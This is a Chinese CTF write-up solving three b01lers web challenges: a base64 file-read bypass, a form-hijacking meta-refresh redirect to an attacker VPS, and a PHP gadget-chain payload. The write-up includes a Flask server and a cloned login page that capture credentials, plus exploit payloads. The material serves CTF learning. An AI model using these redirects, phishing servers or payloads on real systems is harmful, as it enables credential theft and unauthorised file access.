b01lers CTF web 复现
warmup
按照提示依次 base64 加密后访问,可以访问 ./flag.txt
,也就是 Li9mbGFnLnR4dA==
。
from base64 import b64decode
import flaskapp = flask.Flask(__name__)@app.route('/<name>')
def index2(name):name = b64decode(name)if (validate(name)):return "This file is blocked!"try:file = open(name, 'r').read()except:return "File Not Found"return file@app.route('/')
def index():return flask.redirect('/aW5kZXguaHRtbA==')def validate(data):if data == b'flag.txt':return Truereturn Falseif __name__ == '__main__':app.run()
fishy-motd
这题考的是 xss
中的表单劫持,和一点点 csp
的绕过。
在页面中可以看到 default-src 'none';
以及一些其他的限制,可以用 meta
标签来进行 url
重定向。
例如:这里面的 1 是延迟 1 秒后跳转。
<meta http-equiv="refresh" content="1;url=http://vps:port/">
题目的主要代码就是下面这段,机器人访问 login
页面模拟登录,且会在固定的位置输入账密,那么我们可以利用重定向到我们的 vps
,在我们的 vps
中把它的 login
完整的 copy
下来,这样当机器人模拟登录的时候就会把账密输入到我们的 vps
上。
const adminBot = async (id) => {const browser = await puppeteer.launch({headless: true, // Uncomment below if the sandbox is causing issues// args: ['--no-sandbox', '--disable-setuid-sandbox', '--single-process']})const page = await browser.newPage();await page.setViewport({ width: 800, height: 600 });const url = `http://localhost:${port}/login?motd=${id}`;await page.goto(url);await page.mouse.click(10, 10);await new Promise(r => setTimeout(r, 1000));try {if (url !== await page.evaluate(() => window.location.href)) {return { error: "Hey! Something's fishy here!" };}} catch (err) {return { error: "Hey! Something's fishy here!" };}await new Promise(r => setTimeout(r, 5000));await page.mouse.click(420, 280);await page.keyboard.type(user);await page.mouse.click(420, 320);await page.keyboard.type(pass);await page.mouse.click(420, 360);await new Promise(r => setTimeout(r, 1000));await browser.close();messages[id] = undefined;return { error: null };
}
但是这边要绕一下 url
的判断。
if (url !== await page.evaluate(() => window.location.href))
在上面有一句:await new Promise(r => setTimeout(r, 1000));
也就是检查 url
的时间是一秒,所以我们只要大于一秒,就能绕过 url
的判断了,如下:
<meta http-equiv="refresh" content="2;url=http://vps:port/">
接下来就是表单和服务器的搭建了。
app.py
注意端口防火墙要打开,app.py
和 static
目录同级。
from flask import Flask, request, jsonify
from flask import Flask
import json
app = Flask(__name__)
app.debug = True
@app.route('/ee')
def home():return app.send_static_file('ee.html')
@app.route('/login', methods=['post'])
def post_http():id = request.form.get('username')word = request.form.get('password')print(id)print(word)return "aa"
if __name__ == '__main__':app.run(host='0.0.0.0', port=9999)
然后把登录页面放到 static
目录下。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
<link href="/static/css/style.css" rel="stylesheet" type="text/css" />
</head>
<body>
<nav>
<span>
</span>
</nav>
<form class="main" action="login" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username">
<label for="password">Password:</label>
<input type="password" id="password" name="password">
<input type="submit" value="Login" class="button">
</form>
</body>
</html>
在 static
目录下创建 css
目录,在 css
目录下创建 style.css
html,
body {margin: 0;padding: 0;height: 100%;width: 100%;font-size: 16px;display: flex;flex-flow: column;font-family: Arial, Helvetica, sans-serif;
}
h1 {margin: 0 0 0 10px;
}nav {display: flex;flex-flow: row;align-items: center;justify-content: space-between;
}nav span {padding: 10px;font-size: 24px;
}a {color: black;padding: 0.5rem 1rem;font-size: 24px;cursor: pointer;
}.button {border: none;background: rgb(72, 111, 217);color: white;padding: 0.5rem 1rem;font-size: 24px;cursor: pointer;
}.main {flex-grow: 1;display: flex;flex-flow: column;align-items: center;justify-content: center;width: 100%;height: 100%;
}.main div {display: flex;justify-content: space-between;width: 250px;margin-bottom: 10px;
}.form {display: flex;flex-flow: column;align-items: flex-start;justify-content: center;gap: 10px;padding: 10px;
}
启动服务器,最后在 motd
页面 post
<meta http-equiv="refresh" content="2;url=http://vps:9999/ee">
然后点击如下,也就是 start
页面
然后就可以在服务器中看到账密了。
php.galf
传两个参数,code
和 args
,code
必须为 ohce
,args
看情况而定。
先贴个链子:
syntaxreader # parse
ohce # __invoke__
orez_lum # __invoke
orez_vid # __invoke
syntaxreader # __construct
noitpecxe # __construct
syntaxreader # parse (catch)
noitpecxe # __toString$error_func($this->message); [highlight_file(flag.php)]
这边我就从获取 flag 的地方往前说了。
在 noitpecxe # __toString
中的:$error_func($this->message);
两个变量我们是可以控制的,那从哪边控制呢?
syntaxreader # __construct
中的 if
判断里的 $debug
变量就可以控制,至于怎么控制等会再说,我们先看下这个 $debug
前面的 ...
是什么,我们从一个例子看下。
if (isset($debug)) {// disable debugging modethrow new noitpecxe(...$debug);}
假如我们的 $debug
是一个数组,值为 [1,2,3,4]
,那么下面的参数值就是 1,2,3,4
,也就是 $message=1,$code=2,$previous=3,$error_func=4
class noitpecxe extends Exception{public function __construct($message, $code, $previous = null, $error_func = "printf") {}
}
orez_vid
类的 __invoke
方法下的 new $arg[$arg_val]("div", $result, $arg);
和 orez_lum
、orez_dda
、syntaxreader
的 $class($arg, $arg_val);
都不同,orez_vid
的有三个参数,刚好符合 syntaxreader # __construct
的参数个数,其中的 $arg
参数就是我们输入的 args
参数,也是 syntaxreader # __construct
里的 $debug
参数。
那么果我们按照获取 flag 文件的函数要求( highlight_file(flag.php) )
传参就是 $error_func
为 highlight_file
,$message
为 flag.php
。
public function __construct($message, $code, $previous = null, $error_func = "printf") {
}
........
$error_func($this->message);
那么 args post
传的参数样子就是。
args=flag.php,aaa,aaa,highlight_file........
剩余的参数就是按照调用顺序排就行了。
args=flag.php,aaa,aaa,highlight_file,orez_lum,orez_vid,syntaxreader
code 参数就是 7
个 ohce
,因为 args
需要整个传入,那么 count($token)
需要为 7
。
code=ohce+ohce+ohce+ohce+ohce+ohce+ohce
但是我们想调用 orez_vid
就需要 cookie
存在 DEBUG
参数,且在 index.php
中创建 syntaxreader
对象的时候,会触发 syntaxreader
中的 __construct
,这次的掉用我们不能触发 throw new noitpecxe(...$debug);
,也就是要执行 if (strcmp($_COOKIE['DEBUG'], hash("md5", $flag)) == 0)
判断,我们可以令 DEBUG
为数组即可。
payload:
code=ohce+ohce+ohce+ohce+ohce+ohce+ohce&args=flag.php,aaa,aaa,highlight_file,orez_lum,orez_vid,syntaxreaderCookie: DEBUG[]=1
当然如果跟着 payload
调试走一遍,更一目了然。
总结
感谢星盟大佬们的 wp。
http://blog.xmcve.com/2023/03/20/b01lers-CTF-Writeup/#title-19
相关文章:

b01lers CTF web 复现
warmup 按照提示依次 base64 加密后访问,可以访问 ./flag.txt,也就是 Li9mbGFnLnR4dA 。 from base64 import b64decode import flaskapp flask.Flask(__name__)app.route(/<name>) def index2(name):name b64decode(name)if (validate(name))…...

三月份跳槽了,历经字节测开岗4轮面试,不出意外,被刷了...
大多数情况下,测试员的个人技能成长速度,远远大于公司规模或业务的成长速度。所以,跳槽成为了这个行业里最常见的一个词汇。 前几天,我看到有朋友留言说,他在面试字节的测试开发工程师的时候,灵魂拷问三小…...

springboot+vue驾校管理系统 idea科目一四预约考试,练车
加大了对从事道路运输经营活动驾驶员的培训管理力度,但在实际的管理过程中,仍然存在以下问题:(1)管理部门内部人员在实际管理过程中存在人情管理,不进行培训、考试直接进行发证。(2)从业驾驶员培训机构不能严格执行管理部门的大纲…...

【pytorch】使用deepsort算法进行目标跟踪,原理+pytorch实现
目录deepsort流程一、匈牙利算法二、卡尔曼滤波车速预测例子动态模型的概念卡尔曼滤波在deepsort中的动态模型三、预测值及测量值的含义deepsort在pytorch中的运行deepsort流程 DeepSORT是一种常用的目标跟踪算法,它结合了深度学习和传统的目标跟踪方法。DeepSORT的…...

Python 基础教程【3】:字符串、列表、元组
本文已收录于专栏🌻《Python 基础》文章目录🌕1、字符串🥝1.1 字符串基本操作🍊1.1.1 字符串创建🍊1.1.2 字符串元素读取🍊1.1.3 字符串分片🍊1.1.4 连接和重复🍊1.1.5 关系运算&…...

(数据结构)八大排序算法
目录一、常见排序算法二、实现1. 直接插入排序2.🌟希尔排序3. 选择排序4.🌟堆排序5. 冒泡排序7. 🌟快速排序7.1 其他版本的快排7.2 优化7.3 ⭐非递归7. 🌟归并排序7.1 ⭐非递归8. 计数排序三、总结1. 分析排序 (Sorting) 是计算机…...

构建GRE隧道打通不同云商的云主机内网
文章目录1. 环境介绍2 GRE隧道搭建2.1 华为云 GRE 隧道安装2.2 阿里云 GRE 隧道安装3. 设置安全组4. 验证GRE隧道4.1 在华为云上 ping 阿里云云主机内网IP4.2 在阿里云上 ping 华为云云主机内网IP5. 总结1. 环境介绍 华为云上有三台云主机,内网 CIDR 是 192.168.0.0…...

48天C++笔试强训 001
作者:小萌新 专栏:笔试强训 作者简介:大二学生 希望能和大家一起进步! 本篇博客简介:讲解48天笔试强训第一天的题目 笔试强训 day1选择题12345678910编程题12选择题 1 以下for循环的执行次数是(ÿ…...

Android 11新增系统服务
1.编写.aidl文件存放位置:frameworks/base/core/java/android/ospackage android.os;interface ISystemVoiceServer {void setHeightVoice(int flag);void setBassVoice(int flag);void setReverbVoice(int flag);}2.将.aidl文件添加到frameworks/base/Android.bp f…...
“你要多弄弄算法”
开始瞎掰 ▽ 2月的第一天,猎头Luna给我推荐了字节的机会,菜鸡我呀,还是有自知之明的,赶忙婉拒:能力有限,抱歉抱歉。 根据我为数不多的和猎头交流的经验,一般猎头都会稍微客套一下:…...

【数据结构】千字深入浅出讲解队列(附原码 | 超详解)
🚀write in front🚀 📝个人主页:认真写博客的夏目浅石. 🎁欢迎各位→点赞👍 收藏⭐️ 留言📝 📣系列专栏:C语言实现数据结构 💬总结:希望你看完…...
vue面试题(day04)
vue面试题vue插槽?vue3中如何获取refs,dom对象的方式?vue3中生命周期的和vue2中的区别?说说vue中的diff算法?说说 Vue 中 CSS scoped 的原理?vue3中怎么设置全局变量?Vue中给对象添加新属性时&a…...

自动标注工具 Autolabelimg
原理简介~~ 对于数据量较大的数据集,先对其中一部分图片打标签,Autolabelimg利用已标注好的图片进行训练,并利用训练得到的权重对其余数据进行自动标注,然后保存为xml文件。 一、下载yolov5v6.1 https://github.com/ultralytic…...
2023-03-20干活
transformer复现 from torch.utils.data import Dataset,DataLoader import numpy as np import torch import torch.nn as nn import os import time import math from tqdm import tqdmdef get_data(path,numNone):all_text []all_label []with open(path,"r",e…...
Java 注解(详细学习笔记)
注解 注解英文为Annotation Annotation是JDK5引入的新的技术 Annotation的作用: 不是程序本身,可以对程序做出解释可以被其他程序(比如编译器)读取。 Annotation的格式: 注解是以注解名在代码中存在的,还…...

LeetCode:35. 搜索插入位置
🍎道阻且长,行则将至。🍓 🌻算法,不如说它是一种思考方式🍀算法专栏: 👉🏻123 一、🌱35. 搜索插入位置 题目描述:给定一个排序数组和一个目标值&…...
菜鸟刷题Day2
菜鸟刷题Day2 一.判定是否为字符重排:字符重排 描述 给定两个由小写字母组成的字符串 s1 和 s2,请编写一个程序,确定其中一个字符串的字符重新排列后,能否变成另一个字符串。 解题思路: 这题思路与昨天最后两道类似&…...

Selenium基础篇之不打开浏览器运行
文章目录前言一、场景二、设计1.引入库2.引入浏览器配置3.设置无头模式4.启动浏览器实例,添加配置信息5.访问质量分地址6.隐式等待5秒7.定位到输入框8.输入博文地址9.定位到查询按钮10.点击查询按钮11.定位到查询结果模块div12.打印结果13.结束webdriver进程三、结果…...

【数据结构初阶】栈与队列笔试题
前言在我们学习了栈和队列之后,今天来通过几道练习题来巩固一下我们的知识。题目一 用栈实现队列题目链接:232. 用栈实现队列 - 力扣(Leetcode)这道题难度不是很大,重要的是我们对结构认识的考察,由于这篇文…...

【Linux入门篇】操作系统安装、网络配置
目录 🍁Linux详解 🍂1.操作系统 🍂2.操作系统组成 🍂3.操作系统历史 🍂4.常见的Linux系统 🍂5.centos7下载 🍂6.安装centos7 🍁linux初始化配置 🍃1.虚拟机系统安装后操作…...

SpringBoot-17-MyBatis动态SQL标签之常用标签
文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…...

(十)学生端搭建
本次旨在将之前的已完成的部分功能进行拼装到学生端,同时完善学生端的构建。本次工作主要包括: 1.学生端整体界面布局 2.模拟考场与部分个人画像流程的串联 3.整体学生端逻辑 一、学生端 在主界面可以选择自己的用户角色 选择学生则进入学生登录界面…...

智慧工地云平台源码,基于微服务架构+Java+Spring Cloud +UniApp +MySql
智慧工地管理云平台系统,智慧工地全套源码,java版智慧工地源码,支持PC端、大屏端、移动端。 智慧工地聚焦建筑行业的市场需求,提供“平台网络终端”的整体解决方案,提供劳务管理、视频管理、智能监测、绿色施工、安全管…...

STM32标准库-DMA直接存储器存取
文章目录 一、DMA1.1简介1.2存储器映像1.3DMA框图1.4DMA基本结构1.5DMA请求1.6数据宽度与对齐1.7数据转运DMA1.8ADC扫描模式DMA 二、数据转运DMA2.1接线图2.2代码2.3相关API 一、DMA 1.1简介 DMA(Direct Memory Access)直接存储器存取 DMA可以提供外设…...

高等数学(下)题型笔记(八)空间解析几何与向量代数
目录 0 前言 1 向量的点乘 1.1 基本公式 1.2 例题 2 向量的叉乘 2.1 基础知识 2.2 例题 3 空间平面方程 3.1 基础知识 3.2 例题 4 空间直线方程 4.1 基础知识 4.2 例题 5 旋转曲面及其方程 5.1 基础知识 5.2 例题 6 空间曲面的法线与切平面 6.1 基础知识 6.2…...
Angular微前端架构:Module Federation + ngx-build-plus (Webpack)
以下是一个完整的 Angular 微前端示例,其中使用的是 Module Federation 和 npx-build-plus 实现了主应用(Shell)与子应用(Remote)的集成。 🛠️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...
Go 语言并发编程基础:无缓冲与有缓冲通道
在上一章节中,我们了解了 Channel 的基本用法。本章将重点分析 Go 中通道的两种类型 —— 无缓冲通道与有缓冲通道,它们在并发编程中各具特点和应用场景。 一、通道的基本分类 类型定义形式特点无缓冲通道make(chan T)发送和接收都必须准备好࿰…...

【电力电子】基于STM32F103C8T6单片机双极性SPWM逆变(硬件篇)
本项目是基于 STM32F103C8T6 微控制器的 SPWM(正弦脉宽调制)电源模块,能够生成可调频率和幅值的正弦波交流电源输出。该项目适用于逆变器、UPS电源、变频器等应用场景。 供电电源 输入电压采集 上图为本设计的电源电路,图中 D1 为二极管, 其目的是防止正负极电源反接, …...
Go 并发编程基础:通道(Channel)的使用
在 Go 中,Channel 是 Goroutine 之间通信的核心机制。它提供了一个线程安全的通信方式,用于在多个 Goroutine 之间传递数据,从而实现高效的并发编程。 本章将介绍 Channel 的基本概念、用法、缓冲、关闭机制以及 select 的使用。 一、Channel…...
Java求职者面试指南:Spring、Spring Boot、Spring MVC与MyBatis技术解析
Java求职者面试指南:Spring、Spring Boot、Spring MVC与MyBatis技术解析 一、第一轮基础概念问题 1. Spring框架的核心容器是什么?它的作用是什么? Spring框架的核心容器是IoC(控制反转)容器。它的主要作用是管理对…...